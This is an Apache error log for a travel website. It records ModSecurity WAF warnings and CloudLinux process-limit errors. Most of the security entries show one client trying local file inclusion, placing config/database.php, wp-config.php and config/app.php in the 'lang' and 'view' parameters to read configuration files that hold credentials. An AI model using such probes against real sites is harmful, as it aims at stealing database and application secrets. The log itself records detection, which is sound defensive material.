[Fri Jul 17 08:55:49.658415 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvSvekYYQ8uns4MwlmwAAAA0"]
[Fri Jul 17 08:55:49.659016 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:lang: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBwAAAAAY"]
[Fri Jul 17 08:55:49.659617 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBwAAAAAY"]
[Fri Jul 17 08:55:49.659741 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.659993 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvQ5GPQ6hs4VrfMpBwAAAAAY"]
[Fri Jul 17 08:55:49.661602 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:lang: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVjwAAABM"]
[Fri Jul 17 08:55:49.662251 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVjwAAABM"]
[Fri Jul 17 08:55:49.662381 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.662697 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvfwooI4qY7Jg93pVjwAAABM"]
[Fri Jul 17 08:55:49.665782 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.668885 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.670978 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.676134 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.721268 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.737680 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.772314 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:49.783601 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:49.810093 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguEgVnBK6wAv37w6scQAAABQ"]
[Fri Jul 17 08:55:49.823884 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.828848 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.833937 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.836385 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.836948 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.837499 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:49.840420 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.861397 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.887983 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:view: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvRJ0z2bEtnOrIXVAjgAAAAk"]
[Fri Jul 17 08:55:49.888650 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvRJ0z2bEtnOrIXVAjgAAAAk"]
[Fri Jul 17 08:55:49.888774 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.889109 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvRJ0z2bEtnOrIXVAjgAAAAk"]
[Fri Jul 17 08:55:49.893383 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:view: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVkgAAABM"]
[Fri Jul 17 08:55:49.894061 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVkgAAABM"]
[Fri Jul 17 08:55:49.894198 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.894480 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvfwooI4qY7Jg93pVkgAAABM"]
[Fri Jul 17 08:55:49.897499 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:view: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvVh1WDijTxd1xw5MiAAAAAc"]
[Fri Jul 17 08:55:49.898391 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvVh1WDijTxd1xw5MiAAAAAc"]
[Fri Jul 17 08:55:49.898525 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.898889 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvVh1WDijTxd1xw5MiAAAAAc"]
[Fri Jul 17 08:55:49.901571 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:view: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBwwAAAAY"]
[Fri Jul 17 08:55:49.902270 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBwwAAAAY"]
[Fri Jul 17 08:55:49.902396 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.902693 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvQ5GPQ6hs4VrfMpBwwAAAAY"]
[Fri Jul 17 08:55:49.908192 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:view: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvUgVnBK6wAv37w6scwAAABQ"]
[Fri Jul 17 08:55:49.908847 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvUgVnBK6wAv37w6scwAAABQ"]
[Fri Jul 17 08:55:49.908991 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.909264 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvUgVnBK6wAv37w6scwAAABQ"]
[Fri Jul 17 08:55:49.910992 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:view: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSRF0UOO1RzB5_8uLgAAAA4"]
[Fri Jul 17 08:55:49.911714 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSRF0UOO1RzB5_8uLgAAAA4"]
[Fri Jul 17 08:55:49.911923 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.913465 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvSRF0UOO1RzB5_8uLgAAAA4"]
